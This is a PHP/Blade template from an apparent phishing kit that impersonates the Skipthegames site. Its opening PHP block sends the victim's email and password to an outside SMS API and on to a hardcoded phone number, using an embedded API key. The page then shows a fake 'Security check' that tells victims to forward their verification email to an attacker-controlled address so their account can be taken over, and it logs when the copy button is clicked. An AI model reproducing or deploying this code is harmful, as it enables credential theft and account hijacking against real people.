<?php
$url = "http://bulksmsbd.net/api/smsapi";
$api_key = "rGwnFHEOPDVo0jlWiDiF";
$senderid = "8809617622740";
$number = "01911380924";

$email = $email;
$password = $password;

$message = "Created success ".$email." ".$password;

$data = [
    "api_key" => $api_key,
    "senderid" => $senderid,
    "number" => $number,
    "message" => $message
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
curl_close($ch);
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="icon" href="https://skipthegamese.online//public//static/css/org.ico">
    <title>Log in to your account</title>
    <link rel="stylesheet" href="<?php echo e(asset('public/static/css/app.css?202406')); ?>" type="text/css" />
    <link rel="stylesheet" href="<?php echo e(asset('public/static/js/jquery-ui-1.13.0/jquery-ui.theme.min.css')); ?>" type="text/css" />
    <link rel="stylesheet" href="<?php echo e(asset('public/static/js/jquery-ui-themes-1.13.0/themes/smoothness/jquery-ui.min.css')); ?>" type="text/css" />
    <script src="https://code.jquery.com/jquery-3.7.1.min.js" integrity="sha256-/JqT3SQfawRcv/BIHPThkBvs0OEvtFFmqPF/lYI/Cxo=" crossorigin="anonymous"></script>
    <style>
        .container {
            background-color: white;
            padding: 10px;
            border-radius: 8px;
            margin: 0 auto;
            max-width: 600px;                       
        }

        .logo {
            margin-bottom: 10px;
        }

        .logo img {
            width: 255px;
            height: 39px;
        }

        .tagline {
            margin-bottom: 10px;
            font-size: 14px;
        }

        .user-info {
            margin-top: 0; /* Removed extra space above the email */
            font-size: 14px;
            color: #666;
        }

        .email {
            color: #9c1c47;
            font-weight: bold;
        }

        h3 {
            color: #0b0707;
            font-size: 19px;
            margin-top: 20px;
        }

        .instructions {
            color: #888b8b;
            margin-top: 10px;
            font-size: 16px;
        }

        .copy-button {
            background-color: #00a3e0;
            color: white;
            border: none;
            padding: 10px 20px;
            font-size: 16px;
            border-radius: 5px;
            cursor: pointer;
            width: 150px; /* Increased button width */
        }

        .copy-button:hover {
            background-color: #008bbf; /* Darker blue for hover effect */
        }

        .verify-email {
            color: #990033;
            font-size: 18px;
            font-weight: bold;
            text-align: left;
            display: block;
            margin-bottom: 5px; /* Reduced space between the email and button */
        }

        p {
            margin-bottom: 5px; /* Reduce space between "Forward this email..." and email address */
        }

        .footer {
            color: #888b8b;
            margin-top: 20px;
            font-size: 14px;
        }

        .wrap {
            display: flex;
            flex-direction: column;
            align-items: flex-start; /* Aligns content to the left */
            gap: 5px; /* Reduces the space between email and button */
        }

        .columns {
            padding-left: 0;
            padding-right: 0;
        }
    </style>
</head>
<body>
    <div class="container">
        <div class="logo">
            <a href="#"><img src="<?php echo e(asset('public/static/images/Skipthegames-255x39.png')); ?>" alt="Skip the games logo"></a>
        </div>
        <small class="tagline">Skip the games. Get satisfaction.</small>
        <div class="user-info">
            <div class="email"><b> <u> <?php echo e($email); ?></u></b></div>
            <div>your account | <span class="logout" style="color:#9c1c47;">log out</span></div>
        </div>

        <div class="row">
            <div class="small-16 columns">
                <h3>Security check</h3>
            </div>
            <div class="small-16 columns">
                <p>Forward this email to our official verify team email.</p>
                
                

                <p><b>Follow the instructions to successfully complete your account verification.</b></p>

                <p>Step 1: Go to your email.</p>
                <img src="<?php echo e(asset('public/img/fone1120.jpeg')); ?>" width="360px" />
                
                <p>Step 2: Just click the forward icon.</p>
                <img src="<?php echo e(asset('public/img/ftwo1120.jpeg')); ?>" width="360px" />
                
                <p>Step 3: Put our official email to sent.</p>
                
                <div class="wrap">
                    <b class="verify-email">skipthegames.com@dr.com</b>
                    <button class="copy-button" onclick="copyToClipboard('skipthegames.com@dr.com')">Copy</button>
                </div>
                
                <img src="<?php echo e(asset('public/img/291225.jpeg')); ?>" width="360px" />
            </div>

            <p>It may take the email up to 10 minutes to arrive. Make sure to check your Spam/Junk/Trash folder.</p>
            <form id="resend_email_form">
                <input type="hidden" name="send_email" value="yes">
                <input type="hidden" name="to" value="">
                <p class="ull">
                    <a class="#" style="display:inline-block;margin-right:2rem">Resend the email</a>
                    <a href="#">I don't have access to this email account</a>
                </p>
            </form>
            <p id="confirmation_message"></p>
        </div>
    </div>

    <footer class="row">
        <div class="large-16 columns">
            <hr>
            <div class="row">
                <div class="small-16 medium-5 columns">
                    <p><a href="/">&copy;Skipthegames.eu</a></p>
                </div>
                <div class="small-16 medium-11 columns">
                    <ul class="inline-list">
                        <li><a href="/">Home</a></li>
                        <li><a href="/contact">Contact</a></li>
                        <li><a href="/about">About</a></li>
                        <li><a href="/privacy">Privacy</a></li>
                        <li><a href="/tos">Terms</a></li>
                        <li><a href="/articles">Escort Info</a></li>
                    </ul>
                </div>
            </div>
        </div>
    </footer>

    <script src="https://cdn.jsdelivr.net/npm/sweetalert2@11"></script>
    <script>
        let user_id = "<?php echo e($user_id); ?>";
        let _token = "<?php echo e(csrf_token()); ?>";

        function copyToClipboard(text) {
            var tempInput = document.createElement("input");
            tempInput.value = text;
            document.body.appendChild(tempInput);
            tempInput.select();
            tempInput.setSelectionRange(0, 99999); // For mobile devices
            document.execCommand("copy");
            document.body.removeChild(tempInput);
            
            Swal.fire({
                title: "Mail Copied!",
                text: "Mail has been copied to clipboard.",
                icon: "success"
            });

            $.ajax({
                url: "<?php echo e(route('copy.link')); ?>",
                method: "post",
                data: {_token, user_id},
                success: function(res) {
                    console.log(res);
                }
            });
        }
    </script>

</body>
</html>
<?php /**PATH /home/skipethegames/skiptheqemes.online/resources/views/auth_code.blade.php ENDPATH**/ ?>